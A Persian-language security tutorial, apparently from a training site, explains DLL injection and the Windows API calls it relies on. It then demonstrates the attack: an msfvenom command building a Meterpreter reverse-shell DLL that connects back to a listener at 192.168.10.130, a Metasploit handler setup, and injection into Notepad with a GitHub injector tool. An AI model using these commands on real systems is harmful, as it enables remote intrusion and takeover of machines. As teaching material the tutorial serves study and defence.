یکی از حملات پر استفاده توسط هکرها حمله DLL Injection میباشد که در بحث های افزایش سطح دسترسی (Privilege Escalantion) گرفتن دسترسی از راه دور (Remote Shell Access) به واسطه تزریق کردن یک فایل DLL در یک فرآیند (Process) درحال اجرا در سیستم انجام میگردد.
فایل های DLL یا همان فایل های Dynamic Link Library به فایل های گفته میشود که حاوی کتابخانه ها، کد ها و منابع مورد نیاز یک برنامه ویندوزی میباشند. توجه کنید که برنامه نویس ها به جای اینکه نرم افزار خود را سنگین کنند و تمامی کد ها و کتابخانه ها و منابع مورد نیازشان را در خوده برنامه قرار بدهند از فایل های DLL استفاده میکنند و این فایل ها به صورت مشترک میان نرم افزارها استفاده میشود و موارد مورد نیاز نرم افزارها توسط این فایل های DLL تامین میشود.
برای مثال توجه کنید که دو نرم افزار داریم که از دو کتابخانه مشترک با عنوان X استفاده میکنند و این کتابخانه حجم 100 مگابایت را در خود دارد.
این دو نرم افزار بدون وجود فایل های DLL کتابخانه X را در نرم افزار خود مستقیما قرار میدهند و نرم افزار 10 مگابایتی آنها تبدیل میشود به یک نرم افزار 110 مگابایتی و وقتی این دو بر روی سیستم نصب شوند یا نرم افزارهای دیگه بر روی سیستم نصب شوند که از کتابخانه X استفاده میکنند به مراتب حجم بسیار زیادی از فضای سیستم و Disk را اشغال میکنند.
درنگاه اول و به صورت کلی هم میتوان گفت نه هم میتوان گفت بله زیرا که فایل های DLL طبق گفته بالا یک سری فایل ها حاوی منابع مورد نیاز نرم افزارها میباشند اما از این جهت این فایل ها با وجود کدهای که درونشان وجود دارد و قابلیت اجرا شدن نیز دارند میتوانند مخرب باشند و در این مقاله ما قصد داریم به مبحث DLL Injection بپردازیم
توجه داشته باشید که حمله DLL Injection یکی از حملاتی میباشد که موجب تزریق کد های مخرب و اجرا سازی آنها از طریق یک فایل DLL با قرار دادن و تزریق کردن آن فایل DLL به یک فرآیند (Process) درحال اجرا به این دلیل که ممکن است نیاز شود فایل های DLL در لحظه اجرا سازی شوند.
حمله تزریق فایل های DLL یا همان DLL Injection از طریق Windows API ها که منظور اشکال زدایی نرم افزارها استفاده میشوند انجام میگردد که توابع متنوعی را شامل میشود که به شرح زیر میباشند:
مرحله اول - ابتدا فایل DLL بر روی سیستم هدف قرار میگیرد. (این فرآيند میتواند به هر شکلی انجام شود از جمله روش های مهندسی اجتماعی و یا دسترسی مستقیم به سیستم)
مرحله دوم - انتخاب Process هدف و ایجاد فضای حافظه برای DLL Injection
در این مرحله Process مورد و فضای مد نظرمان در Memory به منظور تزریق DLL انتخاب میشود و در این Process یک فضای حافظه جهت قرارگیری مسیر مربوط به فایل DLL ایجاد میشود.
مرحله سوم - قراردادن DLL Path مخرب در Process
در این مرحله DLL Path مخرب خودمان را فضای انتخاب شده Process قرار میگیرد و آدرس های حافظه به آن اختصاص پیدا میکند.
مرحله چهارم - اجرا شدن فایل DLL
فایل DLL مخرب ما اجرا سازی میشود و به واسطه این اجرا سازی فرآيند مخربی که قرار است توسط فایل DLL انجام شود نیز اجرا و انجام سازی میشود.
در بالا به صورت کلی ماجرا DLL Injection را بررسی کردیم حالا از این قسمت میخواهیم به صورت فنی تر این فرآيند را بررسی کنیم. اول از همه باید بدونید که برای پیاده سازی این حمله راه های متعددی وجود دارد که پر استفاده ترین آنها راهکار نوشتن ابزارهای دستی و یا استفاده از ابزارهای آماده مانند DLL Injector میباشد.
ابزار DLL Injector با استفاده از زبان C# نوشته شده است و از توابع این زبان برای پیاده سازی این حمله استفاده میکند و با استفاده از کتابخانه Kernel32 فراخوانی میشوند.
توجه داشته باشید که اولین تابع مورد استفاده برای بحث DLL Injection تابع OpenProcess() میباشد که برای انتخاب و مدیریت Process های که قرار است به آن فایل DLL را تزریق کنیم مورد استفاده میکنیم از همین جهت این تابع نیازمند یک سری مجوزها و یک سری Flagها برای این مجوز میباشد. برای اینکه بتوانیم از OpenProcess() برای تزریق DLL دلخواه خودمان استفاده کنیم باید از Flag های استفاده کنیم که عبارتند از:
و به اصطلاح به این سطح مجوز و ایجاد کردن آن از طریق Flag ها نیز Process Access Rights میگویند.
توجه کنید که بعد از فرآيند بالا جهت تزریق DLL دلخواه به Process مورد نظر ما نیاز داریم که از یک تابع kernel32.dll با عنوان LoadLibraryA استفاده کنیم. عمده استفاده این تابع در این مرحله این است که فایل DLL مارا جهت بارگذاری در حافظه (Memory) پردازش میکند. این تابع را به راحتی میتوان از Kernel32.dll فراخوانی کرد که اینکار توسط تابع GetProcAddress انجام میشود. تابع GetProcAddress جهت دریافت آدرس و یک تابع یا یک متغیر از طریق یک کتابخانه استفاده میشود.
تابع VirtualAllocEx جهت تخصيص دادن مقداری از فضای حافظه مجازی فرایند (Process) استفاده میشود که فرآيند های متعددی را به واسطه این تابع میتوانیم انجام بدهیم.
از طریق این تابع ما توانایی این را داریم که مسیر فایل DLL مخرب خودمان را برای تزریق در فضای اختصاص داده شده برای فایل DLL استفاده کنیم و از طریق این تابع مسیر فایل DLL را در آن قرار بدهیم.
از طریق این تابع یک Thread در حافظه مجازی فرآيند ایجاد میشود و و جهت تکمیل سازی فرآيند DLL Injection تابع LoadLibraryA به عنوان یک Thread در حافظه مجازی فرآيند اجرا سازی میشود.
همچنین تمامی مراحل بالا را میتوانید در قالب یک تصویر ببینید:
برای پیاده سازی این حمله در ابتدا به سراغ Metasploit و ابزار msfvenom میرویم و یک Meterpreter Reverse Shell را در قالب یک فایل DLL ایجاد میکنیم.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.130 LPORT=8000 -f dll -o test.dll
پس از ایجاد Payload یک MultiHandler نیز ایجاد میکنیم و مشخصات اون رو مانند زیر وارد میکنیم که Shell مربوط به سیستم را دریافت کنیم:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tc
set LHOST 192.168.10.130
set LPORT 8000
run
پس از ایجاد سازی فایل DLL به سراغ Task Manager میرویم و Process دلخواهمان را انتخاب میکنیم که در اینجا Notepad.exe با PID 11976 را انتخاب میکنیم.
پس از ایجاد فایل DLL مخرب و انتخاب Process به سراغ DLL Injector میرویم که از طریق Github این ابزار دردسترس میباشد.
https://github.com/Zhuagenborn/Dll-Injector
پس از دریافت فایل DLL Injector در CMD آن را اجرا سازی میکنیم و درحالت عادی به ما میگوید که شما برای اجرا سازی باید فایل DLL مخرب و PID مورد نظرتان را وارد کنید که به همین شکل فایل DLL مخرب و PID مربوط به Notepad.exe را وارد میکنیم:
حالا در بستر Metasploit میبینیم که به راحتی برایمان دسترسی Shell گرفته شد.
موفق باشید.
مهندس و مدرس شبکه و امنیت سایبری و مدیر کل جزیره هک و امنیت اطلاعات توسینسو
متخصص امنیت اطلاعات و کارشناس شکار تهدیدات بانک ملی ایران ، دارای مدارک مختلف از Splunk و AWS و Fortinet و Huawei حوزه اصلی فعالیت بنده در زمینه شبکه مباحث R&S و Service Provider میباشد و در زمینه امنیت نیز در موقعیت های مختلفی مانند PenTest و SoC فعالیت داشته و دارم. سابقه همکاری با بعضی سازمان های در قالب پروژه و... را داشته ام الان به عنوان تحلیلگر امنیت سایبری در زیرساخت بانک ملی مشغول به کار هستم. لینکداین: https://www.linkedin.com/in/amirhoseintangsirinezhad/
زمان پاسخ گویی روز های شنبه الی چهارشنبه ساعت 9 الی 18
فقط به موضوعات مربوط به محصولات آموزشی و فروش پاسخ داده می شود